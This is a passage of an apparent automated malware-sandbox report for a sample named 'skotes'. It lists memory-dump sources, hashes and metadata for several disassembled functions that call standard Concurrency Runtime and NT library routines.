Part of subcall function 006BE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 006BE86F
Part of subcall function 006BE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 006BE879
Part of subcall function 006BE7AF: Concurrency::location::_Assign.LIBCMT ref: 006BE8AD
Part of subcall function 006BE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 006BE8B5

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
String ID:
API String ID: 2363638799-0
Opcode ID: 12688f080c1419357179f3c24e0f9c84fbca6a77635c08f7075a508ec323fbbd
Instruction ID: cbbbc067f54c73dfce4af065cf73ea0214bef36efc0224777d112cddd652722d
Opcode Fuzzy Hash: 12688f080c1419357179f3c24e0f9c84fbca6a77635c08f7075a508ec323fbbd
Instruction Fuzzy Hash: B3518271A002059FDF64EF50C895BEDB777EF44310F154069EA066B392CBB1AE85CB91

Function 006ACB97 Relevance: 1.5, APIs: 1, Instructions: 9nativeCOMMON

Download Yara Rule

APIs

NtFlushProcessWriteBuffers.NTDLL ref: 006ACBAA

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 8a77446d4aff7855fe24c0c0b20fa891e27ff79bb16d2916a40982e21092d9ee
Instruction ID: 6fe212656da5b33f42ef12b3419110b3d56ced3fcbb60b3a57ffad6fd21a7e2e
Opcode Fuzzy Hash: 8a77446d4aff7855fe24c0c0b20fa891e27ff79bb16d2916a40982e21092d9ee
Instruction Fuzzy Hash: 12B09232A139304BCB512B14BC885AD77569B81A2130B2156DA02AB234CA515E828FE8

Function 006ADD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50f3beea9463300879075a12e2704b9e5a12231e10279031c169ff7b1ec0675a
Instruction ID: 8a84c34701b4249f8db1286551eb94b680ff793ad4edfa92746ab21623fe40ac
Opcode Fuzzy Hash: 50f3beea9463300879075a12e2704b9e5a12231e10279031c169ff7b1ec0675a
Instruction Fuzzy Hash: 36519CB2A0160A8FDB15DF58D8957AEB7F2FB58304F24856AD406EB790D374AD40CF90

Function 006AF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 006AF2BB

Strings

pEvents, xrefs: 006AF2B3

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282502972.00000000009A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282600354.00000000009AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282654461.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 093f23068ac175d760aab8dd7b7f38010bd29353b2e3ddc016f90ff394ecca27
Instruction ID: b3b5dd017e921a05234ef27dd6aceedf1d3efb41b7bbc60a9300fdad882dabdf
Opcode Fuzzy Hash: 093f23068ac175d760aab8dd7b7f38010bd29353b2e3ddc016f90ff394ecca27
Instruction Fuzzy Hash: 1F816B31D002199BCF24EBE8C981BEEB7B6AF56310F144469E401A7382DB75AE45CF92

Function 006C26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 006C26E3

Part of subcall function 006C24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006C2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006C2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006C2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006C275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 006C27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 006C27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 006C2846

Memory Dump Source

Source File: 00000003.00000002.7275648216.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.7275433344.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275648216.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7275968302.00000000006F9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276147985.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276304811.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7276928573.0000000000861000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277058209.0000000000863000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277328542.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277424160.000000000087E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.000000000087F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277572625.0000000000889000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277864045.000000000088D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7277942912.000000000088E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278102362.0000000000891000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278214114.0000000000892000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278285092.000000000089B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278377632.00000000008A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278550742.00000000008B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278710256.00000000008B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278829889.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7278929467.00000000008B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279039474.00000000008C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279168151.00000000008CD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279334863.00000000008E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279407574.00000000008F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279518624.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279661164.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279854603.0000000000903000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7279993030.0000000000905000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280108048.000000000090E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280247867.000000000090F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280355990.0000000000910000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280427090.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280599351.000000000091A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280847963.000000000091F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7280967937.0000000000920000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281087872.0000000000922000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281231155.0000000000923000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281368048.000000000092B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281535264.0000000000942000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281656926.0000000000944000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281741289.000000000094D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000094E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7281849160.000000000096B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282158490.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282279815.000000000099A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.7282398679.000000000099F000.00000040.00000001.01000000.00000007.sdmpDownload File
